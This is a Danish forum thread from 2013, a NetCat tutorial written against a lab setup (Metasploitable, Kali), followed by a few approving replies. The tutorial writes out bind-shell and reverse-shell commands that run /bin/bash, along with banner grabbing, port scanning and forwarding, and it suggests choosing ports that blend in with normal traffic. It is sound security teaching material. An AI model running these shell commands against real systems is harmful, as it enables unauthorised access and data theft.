Tråd bedømmelse:
  • 1 Stemmer - 5 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
NetCat 101 - Bannergrapping, file download, bind remote/reverse shell og scanning.
27-09-2013, 23:30 (Denne besked var sidst ændret: 28-09-2013, 13:32 af iTick.)
#1
NetCat 101 - Bannergrapping, file download, bind remote/reverse shell og scanning.
Jeg har samlet nogle hints til brugen af NetCat.
Testen er lavet med Metasploitable 2, en Windows 7 box, og Kali 3.7.
Dog har jeg ikke skrevet noget fra Win7 testen, da det virker som på Linux.

Info:
Min testserver (Metasploitable) har i dette eksempel 10.0.2.33
Kali klienten har i dette eksempel 10.0.2.31

Banner grabbing er en måde hvorpå, man nogle gange kan identificere hvilken software der kører en bestemt service.
Når man tilslutter en service på en server, svarer serveren ofte tilbage med software navn og ofte et versionsnummer, hvilket kan være guld,
hvis man skal finde en exploit. Exploits er ofte ret versions bestemte.
Somme tider kan man få operativ systemet med. Det skal dog siges, at disse banners, kan fakes og man altid bør forsøge at identificere en service med flere værktøjer.

Banner grabbing mod en FTP server:
Udsted nedenstående kommando fra en maskine med NetCat på:
"nc 10.0.2.33 21"

Forbindelsen afbrydes med "CTRL^C".
Nogle af de informationer FTP serveren svarer med, bliver normalt sendt til en FTP klient,
så når vi bruger NetCat, får vi de informationer. Dette kan lige så vel gøres med en telnet klient.

I ovenstående eksempel, før jeg følgende output:
200 (vsFTPd 2.3.4)

Alle 2xx retur koder, er positive koder, og serveren fortæller, det er vsFTPd version 2.3.4.

Princippet for en webserver er stort set det samme.
Udsted nedenstående kommando fra en maskine med NetCat på.
"nc -vv 10.0.2.33 80"
Indtast herefter nedenstående og tryk enter et par gange. Webserveren forventer CRLF+CRLF, så vidt jeg husker.
"HEAD / HTTP/1.0"

Afbryd forbindelsen med "CTRL^C".
Dette kan også gøres med en telnet klient.
Ovenstående giver mig følgende info.

HTTP/1.1 200 OK
Date: Fri, 27 Sep 2013 19:51:11 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html


Dette eksempel giver noget ret godt info.
Man kan se, det er Apache, og hvilken version.
Man kan også se, pakken er lavet til Ubuntu.
Og selvfølgelig lidt ekstra bonus information.

Hvis man har fået adgang til en server, og har fået lagt NetCat på maskinen,
kan man få NetCat på serveren til at eksekvere en remote Shell/kommandoprompt, når man forbinder til den.
Dette kan selvfølgelig bruges til at uploade filer med, privilege escalation, oprette brugere, stjæle data osv.

Her er et eksempel på hvordan vi kan få en linux server til at lytte og give os en shell.
Udfør nedenstående på serveren:
"nc -l -p 8080 -e /bin/bash"
Argumentet "-l" får NetCat til at lytte, og "-p 8080" fortæller hvilken port, der skal lyttes på.
Argumentet "-e" fortæller NetCat, hvad der skal eksekveres, når der oprettes en forbindelse.

Herefter kan man fra sin egen maskine udføre følgende kommando:
"nc 10.0.2.33 8080"
Umiddelbart sker der ikke så meget. Men prøv at udstede en "whoami" kommando, eller hvad der kan friste.
Når du er færdig, trykker du bare "CTRL^C". Dette vil også afslutte NetCat på serveren.

Port 8080 er stort set tilfældigt valgt. Det er selvfølgelig smart at vælge en port, der ikke vækker så meget opmærksomhed.
En som bliver brugt meget, så den kan blande sig med almindelig traffik. Selvfølgelig er der nogle firewalls,
som holder øje med om traffikken passer med den service, der hører til porten.

Man kan selvfølgelig også lave en Reverse Shell.
Altså lade sin lokale maskine lytte og lade NetCat på serveren, åbne forbindelsen til dig, og så åbne en shell.
Dette kan selvfølgelig bruges, hvis serveren er bag en firewall, og kun tillader traffik ud.
Det kan også være fordi, det kræver root rettigheder på Linux at lytte på Well-Known-Ports,
og det måske derfor ikke er muligt.

Reverse shell linux:
Sæt din lokale maskine til at lytte med følgende kommando:
"nc -l -p 53"
Udsted så følgende på serveren:
"nc -e /bin/bash 10.0.2.31 53"
Nu vil du fra din lokale maskine, kunne udstede kommandoer, stort set som var du lokalt på serveren.

Dette kan selvfølgelig også gøres med windows, der er det selvfølgelig bare "cmd.exe" der skal kaldes.

NetCat kan også bruges som telnet klient.
Uden at beskrive så meget, gøres det med følgende kommando:
"nc -t 10.0.2.33 23"
Det eneste, der er nyt her, er at "-t" fortæller NetCat, den skal acceptere Telnet negotiation.

Netcat kan også bruges som en primitiv portscanner.
Det er meget simpelt og meget begrænset, men kan måske bruges, hvis det er det, man lige har ved hånden.
Her har jeg udstedt følgende kommando:

"nc -z -nvv -w 1 10.0.2.33 20-25"

Argumentet "-z" sætter NetCat i scanning mode.
"-nvv" er bare en sammenpresset ud gave af "-n" som gør at NetCat ikke bruger DNS, og "-vv" som viser en masse verbose information.
Hvis du undlader dobbelt verbose (vv) her, ser du ikke de lukkede porte. Så det er smag og behag.
Argumentet "-w" sætter bare en timeout og "20-25" er selvfølgelig det portinterval man ønske at scanne.

Man kan også bruge NetCat til at overføre filer med. Både text filer og binære filer.
I dette eksempel, sætter vi serveren til at lytte, og så pipe outputtet ud i en fil med følgende kommando:
"nc -l -p 8080 > out.txt"
Nu står serveren og venter på en forbindelse.
Så sætter vi klienten til at sende filen med følgende kommando:
"nc 10.0.2.33 8080 < in.txt"
Når du har trykket enter til dette, så vent et øjeblik, alt efter størrelsen på det du overfører, for NetCat giver ikke nogen informationer om,
on filen er overført.
Tryk så "CTRL^C" uden at trykke på noget andet. Bare så man ikke får ødelagt filen.
Nu skal filen out.txt på serveren, gerne indeholde det samme som filen in.txt på klienten.

Ncat udgaven af NetCat kan også være et kig værd. Den har udvidet funktionalitet.
Hvis en server f.eks. kører et intranet på port 80, men dette ikke er åben i firewallen udefra, hvor vi formegentlig vil connecte fra,
kan man måske finde en anden port i firewallen der er åben. NAT osv kan selvfølgelig give ufordringer.
Hvis f.eks. port 8080 er åben, kan man få NetCat til at videresende traffikken.
Dette kan gøres med følgende kommando på serveren:
"nc -l -p 8080 -c 'nc 10.0.2.33 80'"

Argumentet "-c" bruger, lige som -e, til at eksekvere med, dog med den forskel at "-c" sender kommandoen som et argument til "/bin/sh" og "-e" kalder programmet direkte.
Ovenstående eksempel giver mig samme output, som da vi lavede banner grapping på serverens webservice.
Det er dog meget ustabilt, og er en del nemmere med Ncat. Der er godt nok en del arvearter af "nc" kommandoen.

Mere:
Det er selvfølgelig kun fantasien der sætter grænser. Det er sådan set et simpelt værktøj, men det kan bruges til mange ting.
Der er også mange gode forslag til, hvordan NetCat kan bruges, hvis man surfer lidt rundt på google.

Links:
Interessant læsning på sans.org - http://www.sans.org/security-resources/s...eet_v1.pdf
NetCat - http://netcat.sourceforge.net/
Ncat - http://nmap.org/ncat/
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
28-09-2013, 14:47 (Denne besked var sidst ændret: 28-09-2013, 14:47 af Spagnum.)
#2
RE: NetCat 101 - Bannergrapping, file download, bind remote/reverse shell og scanning.
Som altid godt arbejde ITick!
Jeg bruger ofte netcat til at kontroller webservere svarer korrekt når jeg opsætter forskellige services. Men som du selv siger er det kun fantasien der sætter grænser.

Naturligvis har jeg små kommentar til teksten. Generalt ville jeg bruge Verbose parameteret mere på komandoerne for at få mere information med, men det er jo smag og behag.
Der ud over kan det lige nævnes at netcat også findes til Windåsen.
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
30-09-2013, 15:04
#3
RE: NetCat 101 - Bannergrapping, file download, bind remote/reverse shell og scanning.
(28-09-2013, 14:47)Spagnum Skrev: Som altid godt arbejde ITick!
Jeg bruger ofte netcat til at kontroller webservere svarer korrekt når jeg opsætter forskellige services. Men som du selv siger er det kun fantasien der sætter grænser.

Naturligvis har jeg små kommentar til teksten. Generalt ville jeg bruge Verbose parameteret mere på komandoerne for at få mere information med, men det er jo smag og behag.
Der ud over kan det lige nævnes at netcat også findes til Windåsen.

Tak. :)
Ah, yep. Det kan man selvfølgelig også. Jeg er somme tider blevet overrasket over, hvad folk har gjort med nc. Hehe.
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
30-09-2013, 20:41 (Denne besked var sidst ændret: 30-09-2013, 20:46 af Spagnum.)
#4
RE: NetCat 101 - Bannergrapping, file download, bind remote/reverse shell og scanning.
(30-09-2013, 15:04)iTick Skrev: Tak. :)
Ah, yep. Det kan man selvfølgelig også. Jeg er somme tider blevet overrasket over, hvad folk har gjort med nc. Hehe.

Enig - prøv f.eks. at se hvordan Darren Kitchen fra Hak5 benytter det her (især sidste eksempel). https://www.youtube.com/watch?v=hZ6TjWuepqw
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)